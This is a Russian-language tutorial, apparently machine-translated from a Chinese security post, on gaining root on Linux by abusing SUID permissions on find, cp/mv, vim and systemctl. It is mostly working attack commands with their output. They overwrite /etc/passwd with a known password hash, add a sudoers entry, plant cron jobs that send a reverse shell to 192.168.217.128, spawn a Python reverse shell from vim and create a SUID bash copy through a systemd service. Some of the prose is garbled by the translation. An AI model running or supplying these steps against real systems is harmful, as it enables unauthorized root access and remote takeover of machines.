Этот пост написал «Сяосян Синань Группа технического обмена”@嘞梦师傅投稿,@3hОрганизовать и опубликовать,Спасибо, что поделились!
@улиткиМастер тоже написал статью,Вы можете обратиться и изучить:Повышение привилегий | методы повышения и восстановления привилегий suid
0x01 Введение в повышение привилегий команды SUID
setuid — это сокращение идентификатора set uid при выполнении. Обычно мы снова сокращаем их до suid. Это флаги разрешений, которые контролируют доступ к файлу. Они позволяют пользователям запускать исполняемые файлы с разрешениями владельца исполняемого файла. является root, другие пользователи могут использовать права root для запуска исполняемых файлов, что создает угрозу безопасности. Пользователи могут повышать привилегии с помощью команд с разрешениями suid и в конечном итоге получать права root.
На следующем рисунке показано, как обычные пользователи изменяют файл /etc/shadow через passwd. В обычных обстоятельствах обычные пользователи не могут напрямую изменять файл /etc/shadow, поскольку команда passwd имеет разрешения suid, поэтому, когда обычные пользователи выполняют passwd, их /etc/shadow. Файл etc/shadow можно изменить, временно изменив разрешения на права root.
0x02 Команда для поиска файлов с разрешениями suid
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null
0x03 Установить разрешения suid для команд
Например, чтобы добавить suid к команде find, вы можете использоватьwhereis или that.
[root@localhost ~]# whereis find
find: /usr/bin/find /usr/share/man/man1/find.1.gz
[root@localhost ~]# chmod u+s /usr/bin/find
[root@localhost ~]# ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find
0x04 повышение привилегий команды find
Если команда find имеет suid, вы можете использовать команду find для повышения привилегий. Обратите внимание, что здесь следует добавить параметр -p. Большинство версий в Интернете не имеют параметра -p, что делает невозможным открытие нового файла. оболочка с правами root.
Используйте обычного пользователя для выполнения команды find, чтобы найти существующий файл. Целью здесь является поиск текущего каталога.
[admin@localhost ~]$ find . -exec /bin/bash -p \;
bash-4.2# whoami
root
Пояснение параметра -p:
Открывается, когда реальный идентификатор пользователя и эффективный идентификатор пользователя не совпадают. Отключите обработку файлов $ENV и импорт функций оболочки. Отключение этой опции приведет к тому, что эффективные uid и Gid будут установлены на реальные uid и Gid.
bash -p параметр
-p Turned on whenever the real and effective user ids do not match.
Disables processing of the $ENV file and importing of shell
functions. Turning this option off causes the effective uid and
gid to be set to the real uid and gid.
0x05 повышение привилегий команды cp/mv
Здесь демонстрируется только команда cp, а команда mv такая же.
Используйте cp, чтобы скопировать /etc/passwd в /tmp/passwd.
[admin@localhost ~]$ cp /etc/passwd /tmp/passwd
[admin@localhost ~]$ ls -al /tmp/passwd
-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd
Зашифрованный пароль имеет фиксированный формат:
$id$salt$encrypted
id
Представляет алгоритм шифрования,1
представлятьMD5,5
представлятьSHA-256,6
представлятьSHA-512 В настоящее время в основном используется алгоритм SHA-512.,Но что бы то ни былоmd5все ещеsha-256все еще поддерживаются。salt
Представляет пароль学中изSalt,сгенерировано системойencrypted
Представляет парольизhash
openssl passwd -6 -salt 1 123456
passwd
Generation of hashed passwords.
-6
Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.
-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.
Сгенерируйте зашифрованный текст на основе криптографического алгоритма sha512 и пароля 123456 с солью 1.
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
Просмотрите содержимое /tmp/passwd, создайте новый пароль и запишите в него содержимое /tmp/passwd и вновь сгенерированный пароль.
[admin@localhost ~]$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
...
[admin@localhost ~]$ vim passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...
Перезапишите /etc/passwd новым созданным паролем.
[admin@localhost ~]$ cp passwd /etc/passwd
[admin@localhost ~]$
На этом этапе вы можете переключиться на пользователя root
Создайте файл crontab и используйте cp, чтобы перезаписать /etc/crontab.
[admin@localhost ~]$ cat crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
cp crontab /etc/crontab
Наконец дождитесь соединения
Создайте файл root_access.
#!/bin/sh
cp /bin/bash /tmp/root_access
chmod +xs /tmp/root_access
Дайте разрешение на выполнение файла root_access и поместите его в /etc/cron.hourly, чтобы он выполнялся каждый час.
[admin@localhost ~]$ chmod +x root_access
[admin@localhost ~]$ cp root_access /etc/cron.hourly
Подождите, пока будет создан root_access, и, наконец, выполните /tmp/root_access -p
[admin@localhost ~]$ /tmp/root_access -p
root_access-4.2#
0x06 Vim и другие команды редактора повышают привилегии
Способ первый
Чтобы сгенерировать новый пароль, отредактируйте /etc/passwd
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
[admin@localhost ~]$ vim /etc/passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...
:wq!
Войдите в систему root, используя новый пароль
Способ второй
Измените файл /etc/sudoers, чтобы у обычных пользователей были разрешения sudo. Обратите внимание, что здесь используется имя текущего обычного пользователя. Здесь используется имя пользователя admin.
[admin@localhost ~]$ vim /etc/sudoers
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
admin ALL=(ALL) ALL
...
:wq!
Способ третий
Измените файл /etc/crontab и напишите пользователя root для выполнения запланированных задач.
[admin@localhost ~]$ vim /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root nc -lp 9001 -e /bin/bash
:wq!
Подключение к атакующей машине повышает привилегии
Способ четвертый
Используйте vim для выполнения команд Python, пересылайте оболочку, обязательно добавьте сюда параметр -p.
[admin@localhost ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'
bash-4.2# whoami
root
bash-4.2#
Rebound Shell, обратите внимание, что для добавления параметра -p можно использовать только модуль подпроцесса, а модуль pty не может добавить параметр -p.
[admin@localhost ~]$ export RHOST=192.168.217.128
[admin@localhost ~]$ export RPORT=9001
[admin@localhost ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
p=subprocess.call(["/bin/bash","-ip"]);
vim.command(":q!")'
0x07 повышение привилегий команды systemctl
Если у systemctl есть разрешения suid, вы можете использовать systemctl для повышения привилегий. systemctl — это пакет программного обеспечения Linux для управления службами. Его можно использовать, создав службу, которая будет выполнять произвольные команды от имени пользователя root при запуске.
В следующем примере будет создана копия /bin/bash с SUID, что позволит злоумышленнику выполнить bash от имени пользователя root:
[admin@localhost ~]$ TF=$(mktemp).service
[admin@localhost ~]$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"
> [Install]
> WantedBy=multi-user.target' > $TF
[admin@localhost ~]$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ /tmp/stef -p
stef-4.2# whoami
root